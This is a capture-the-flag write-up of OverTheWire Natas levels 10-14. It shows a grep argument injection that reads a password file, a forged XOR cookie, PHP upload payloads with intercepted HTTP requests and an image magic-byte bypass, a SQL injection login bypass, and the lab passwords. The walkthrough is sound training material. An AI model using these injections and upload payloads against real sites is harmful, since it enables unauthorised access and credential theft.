Posts Over the Wire NATAS: Levels 10-14
Post
Cancel

Over the Wire NATAS: Levels 10-14

Introduction

This is the third of my writeups for OverTheWire’s Natas series of challenges. You can view the first part here and the second part here

Level 10

Username: natas10

Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Upon opening the webpage, I am greeted with a form that looks similar to the page I saw in challenge 9. When I view the source code, I can see the difference between the two challenges:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

We have to do the same thing we did in 9, but without using any of the following characters: /[;|&]/.

Interesting, so we cannot call a second command like cat to get the password, we have to do everything from within grep.

From challenge 9, we know that the goal is to read the contents of the file /etc/natas_webpass/natas11 so we can get the password to move onto challenge 11.

Once again, we know the command being run is grep -i $key dictionary.txt" and the part of the command we can manipulate is $key.

grep can take multiple files as inputs, so we can do something like this:

1
a /etc/natas_webpass/natas11

so that the full command being run is

1
grep -i a /etc/natas_webpass/natas11 dictionary.txt

This means it will search for the character a in both files. After running this, we are not given the password for the next level, because a is not in the password/it was not found in the password file so it was not printed. So, essentially, we just have to keep guessing characters until we get something within the flag. The final injection that worked for me used the letter d.

Injection: d /etc/natas_webpass/natas11

1
2
3
Output:
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
NOTE: the rest of the output is omitted as it is LONG

Level 11

User: natas11

Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

We are given a form that can be used to set the background color, as well as the following text:

Cookies are protected with XOR encryption

Interesting, let’s view the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

Alright.. This is a long one. Let’s take it step by step.

First, let’s see what code is set to run everytime (Basically what is not a function)

1
2
3
4
5
6
7
$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

Ok, it looks like the background color that we can enter is thrown into the data object. The object uses a key/value system, like a json file or a python dictionary.

The data is then stored with the following line of code:

1
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));

So It’s saved as a cookie named data, it is base64 encoded, xor encrypted, and json encoded.

1
ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D

%3d is a url-encoded version of =. So, the cookie value is ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=.

The nex thing that you need to know to solve this is how xor works. Refer to the logic below.

1
2
3
4
A ^ B = C
C ^ A = B
C ^ B = A
B ^ C = A

So, you need two of the three items in order to get the third one. I modified the xor function to pass in the “key”, which is not really the key but the other item used to XOR. Remember, if we XOR two of the three things, we get the third thing. So if we XOR the original plaintext (the json string of the default array) and the output (the cookie before being base64 encoded) we can get the third thing (they key used to XOR the plaintext into the ciphertext).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
?php
function xor_encrypt($in, $key) {
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}


$enc_defaults = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$defaultdata = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));


$key = xor_encrypt($enc_defaults, $defaultdata);

echo $key;
?>

Now we have the XOR key - qw8J.

Let’s modify the script to use this key along with the modified default-data array - where showpassword is equal to yes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function xor_encrypt($in) {
    $key = 'qw8J';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}


$enc_defaults = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw");
$defaultdata = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));


$key = base64_encode(xor_encrypt($defaultdata));

echo $key;
?>

After refreshing the page, we get the password for the next level.

1
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

Level 12

user: natas12

password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

In this challenge, we can upload that we can then access. The goal in this type of challenge is to run PHP code on the server. I create a simple file with the following function, which puts the contents of a file into a string.

https://www.php.net/manual/en/function.file-get-contents.php

From previous levels, we know that the flag for the next level will be at this location:

1
/etc/natas_webpass/natas13

Therefore, I can make the script:

1
2
3
4
<?php
$homepage = file_get_contents('/etc/natas_webpass/natas13');
echo $homepage;
?>

However, when I upload this file it changes to a JPG. To fix this, I intercept the web request for uploading a file using BurpSuite and I see that the jpg extension is hard-coded on the webpage.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /index.php HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Content-Length: 507
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==
Upgrade-Insecure-Requests: 1
Origin: http://natas12.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsRZsuZgRjxQOk0y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas12.natas.labs.overthewire.org/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="filename"

SOMENUMBERS.JPG
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="uploadedfile"; filename="test.php"
Content-Type: application/octet-stream


<?php
$homepage = file_get_contents('/etc/natas_webpass/natas13');
echo $homepage;
?>

------WebKitFormBoundaryZsRZsuZgRjxQOk0y--

We can change the default value to the php file extension..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
POST /index.php HTTP/1.1
Host: natas12.natas.labs.overthewire.org
Content-Length: 507
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==
Upgrade-Insecure-Requests: 1
Origin: http://natas12.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZsRZsuZgRjxQOk0y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas12.natas.labs.overthewire.org/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="filename"

shell.php
------WebKitFormBoundaryZsRZsuZgRjxQOk0y
Content-Disposition: form-data; name="uploadedfile"; filename="test.php"
Content-Type: application/octet-stream


<?php
$homepage = file_get_contents('/etc/natas_webpass/natas13');
echo $homepage;
?>

------WebKitFormBoundaryZsRZsuZgRjxQOk0y--

We can then go to the URL created from the upload and get the flag.

1
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

Level 13

User: natas13

Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

This challenge is mostly the same as Level 12, although there is one change in the source code.

1
2
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image"; 

What this code does is check the magic bytes/first couple of bytes of a file match up with those usually found in common image files. The file header for one type of image file, a BMP file, is simply BMP. So, if the file starts with BMP, the file is then seen as an image according to this function.

Once again, I intercepted the request with burpsuite and made the appropriate change from jpg to php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /index.php HTTP/1.1
Host: natas13.natas.labs.overthewire.org
Content-Length: 509
Cache-Control: max-age=0
Authorization: Basic bmF0YXMxMzpqbUxUWTBxaVBaQmJhS2M5MzQxY3FQUVpCSnY3TVFiWQ==
Upgrade-Insecure-Requests: 1
Origin: http://natas13.natas.labs.overthewire.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyQ0uFKnhclInCf3Z
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://natas13.natas.labs.overthewire.org/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryyQ0uFKnhclInCf3Z
Content-Disposition: form-data; name="MAX_FILE_SIZE"

1000
------WebKitFormBoundaryyQ0uFKnhclInCf3Z
Content-Disposition: form-data; name="filename"

0o7t5vxole.php
------WebKitFormBoundaryyQ0uFKnhclInCf3Z
Content-Disposition: form-data; name="uploadedfile"; filename="shell.php"
Content-Type: application/octet-stream

BMP<?php
$homepage = file_get_contents('/etc/natas_webpass/natas14');
echo $homepage;
?>
------WebKitFormBoundaryyQ0uFKnhclInCf3Z--

I can now access the file I uploaded to get the password for the next level.

1
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Level 14

User: Natas14

Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

Looking at the source code, this appears to be a very simple SQL challenge. We can see the query being run as well as how our input interacts with it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?> 

Specifically, the line:

1
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";

We can use a very simple SQL injection to bypass this. We know that the username natas15 exists because that is what the next level holds, so we can use a basic SQL injection in the password field.

1
" or 1=1#

With this injection, our query will be

1
SELECT * from users where username=natas15 and password="" or 1=1#;

With this, the password field will come back as true even though we do not know the password.

1
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

Conclusion

Natas11 was definetelely more difficult than any of the other challenges in this writeup. I found all the other challenges to be fairly basic.

This post is licensed under CC BY 4.0